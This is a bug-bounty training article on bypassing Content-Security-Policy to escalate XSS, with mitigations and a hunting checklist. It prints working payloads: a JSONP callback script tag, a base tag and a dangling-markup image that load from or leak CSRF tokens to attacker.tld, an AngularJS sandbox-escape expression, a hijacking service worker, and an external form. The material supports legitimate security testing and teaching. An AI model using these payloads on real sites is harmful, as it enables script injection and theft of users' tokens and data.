Advanced levelFree

CSP Bypass — JSONP, base-uri, AngularJS gadgets, dangling markup

Content-Security-Policy broken with strict-dynamic + JSONP, missing base-uri, AngularJS sandbox escapes, JSON hijacking. How to escalate XSS when the CSP theoretically blocks it.

Gorka El BochiMay 9, 202613 min

Quick answer

CSP (Content-Security-Policy) is the main XSS mitigation in 2026. But a "present" CSP doesn't equal a "secure" one: it may allow JSONP endpoints, lack base-uri, have AngularJS or frameworks with gadgets, trusted domains with file upload, or unsafe-inline in a fallback. When there's XSS but the CSP "blocks it," looking for specific bypasses usually turns a Self-XSS into a full Stored XSS.


Anatomy of a CSP

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.target.tld 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  connect-src 'self' https://api.target.tld;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  report-uri /csp-report;

Each directive can have its own bypass.


Bypass 1 — JSONP in script-src

The CSP allows script-src https://googleapis.com. Google APIs has JSONP endpoints that execute arbitrary JS via a callback param:

html
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>

The response is JSON wrapped in the callback:

javascript
alert(1)//(...response...)

alert(1) executes. The CSP passes because accounts.google.com (a subdomain of googleapis.com on the whitelist) serves the script.

Classic list of JSONP on common allowlists:

  • googleapis.com — multiple Google APIs.
  • cdn.jsdelivr.net with paths to old libs.
  • code.jquery.com (not JSONP but sometimes UI-XSS).
  • Any third-party API with ?callback= or ?jsonp=.

Detection

Look at the CDN domains in script-src. For each one, Google "<domain> JSONP" or <domain> callback param.


Bypass 2 — missing base-uri + nonce

CSP with a nonce:

rust
script-src 'nonce-abc123' 'self';

If you have an XSS that can inject HTML but not scripts (because you don't know the nonce), inject a <base> tag:

html
<base href="//attacker.tld/">

The browser makes ALL of the document's relative resources resolve against attacker.tld. If the page then loads <script src="/main.js">, it now goes to attacker.tld/main.js — the attacker serves arbitrary JS.

Mitigation: base-uri 'self' or base-uri 'none'.


Bypass 3 — AngularJS gadgets

If the page uses AngularJS and the CSP allows script-src 'self' 'unsafe-eval' or only 'self' and AngularJS is on self:

html
<div ng-app ng-csp>
  <input autofocus ng-focus="$event.composedPath()|orderBy:'(z=alert)(1)'">
</div>

AngularJS evaluates expressions in attributes. If it's on the page and the attacker injects HTML with ng-* directives, it executes JS even with a CSP.

The list of gadgets in AngularJS is well-known (HackTricks has all the expression payloads).

Other frameworks

  • Vue.js with unsanitized v-html and a CSP that allows the Vue script's domain.
  • React with dangerouslySetInnerHTML (rare, but it exists).
  • Lodash + transitive helpers.

Bypass 4 — strict-dynamic with XSS controlling existing scripts

arduino
script-src 'nonce-abc' 'strict-dynamic';

strict-dynamic means "ignore the whitelist, scripts loaded by trusted scripts are OK." Bypass: if the XSS lets you inject HTML that an existing script turns into a <script> dynamically, that script inherits trust:

javascript
// Código existente en la app
document.body.innerHTML += userInput;  // si userInput contiene <script>, no carga (innerHTML no ejecuta)

// Pero
const scr = document.createElement('script');
scr.src = userInput;
document.body.appendChild(scr);  // SI ejecuta, hereda nonce/trust

If you find a gadget that turns input into a dynamic script, bypass.


Bypass 5 — Dangling markup injection

If the CSP blocks scripts but not <img> and there's no style-src 'unsafe-inline':

html
<img src="//attacker.tld/?leak=

Without closing the tag, the browser tries to load the src and absorbs EVERYTHING that comes after it as part of the URL until it finds > or ". If the next part of the page has a CSRF token or sensitive data, it travels to the request.

html
<img src="//attacker.tld/?leak=<input name="csrf" value="...">

attacker.tld receives the csrf token via Referer/URL. Partial defacement + token leak without executing JS.

Mitigation: Content-Security-Policy: img-src 'self' or filter <img src> that doesn't end with >.


Bypass 6 — When script-src has a wildcard subdomain

arduino
script-src 'self' *.target.tld

If *.target.tld includes domains where the attacker can host content:

  • A subdomain with file upload (PDFs, user files).
  • A subdomain with the user's own HTML staging (profile pages, blog posts).
  • A subdomain with CSV/XML that the browser can interpret as JS if the MIME type is wrong.
  • Subdomain takeover.

If one of the subdomains serves user-controlled .js files → bypass.


Bypass 7 — JSON hijacking (legacy)

Frameworks that return JSON without anti-CSRF protection:

javascript
[
  {"id":1, "secret": "abc"},
  {"id":2, "secret": "def"}
]

If the endpoint responds with JSON and the browser interprets it as JS (the victim visits attacker.tld which does <script src="https://target.tld/api/data">), the attacker can capture the values via Object/Array prototype overrides in old browsers.

Mitigated in modern browsers but a vector against apps with legacy browsers.


Bypass 8 — Service Workers

If the XSS gives you control over /sw.js (upload a file or injection in the response), you can register a Service Worker that intercepts the origin's fetches:

javascript
self.addEventListener('fetch', e => {
  if (e.request.url.includes('/api/')) {
    e.respondWith(new Response('attacker controlled response'));
  }
});

It persists across page loads. CSP doesn't apply to service workers as such.


Bypass 9 — Form action if form-action is missing

If the CSP doesn't specify form-action, it falls back to default-src or is allowed. Inject:

html
<form action="//attacker.tld" id="f"><input name="x"></form>
<button form="f">Click me</button>

If the victim types in the input and submits → the data goes to the attacker. Bypass of "no inline scripts" via form interaction.


How to report it

For triage to accept it:

  1. A working PoC that executes alert(document.domain) or a measurable leak.
  2. The full CSP proving it's applied.
  3. The full vector: where does the original XSS you're bypassing come from?

Pure CSP bypasses with no underlying XSS are usually N/A or Informational. You need the chain.


Hunting checklist

  • Is there a CSP in the response? Capture the header.
  • Does script-src allow external domains? Look for JSONP on each one.
  • Is base-uri declared? If not, try a dangling base.
  • Is AngularJS / Vue / Lodash on the page and allowed by the CSP?
  • strict-dynamic with XSS that can create scripts dynamically?
  • Does img-src allow any URL? Try a dangling markup leak.
  • Is form-action declared? If not, an external form is possible.
  • Wildcard subdomains that allow upload or XSS staging?

Correct mitigation

  1. Strict CSP: default-src 'none' as a base, add only what's necessary.
  2. script-src 'nonce-RANDOM' 'strict-dynamic'.
  3. base-uri 'none' (a base href is rarely needed).
  4. form-action 'self'.
  5. frame-ancestors 'none' (kills clickjacking).
  6. No unsafe-inline or unsafe-eval except well-justified legacy.
  7. report-uri active to detect bypass attempts in production.
  8. Review whitelisted subdomains — can they host user-controlled content?

Practice CSP bypasses with JSONP, dangling markup, AngularJS gadgets and base-uri injection: CSP bypass labs.

Practice this in a lab

Xss

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy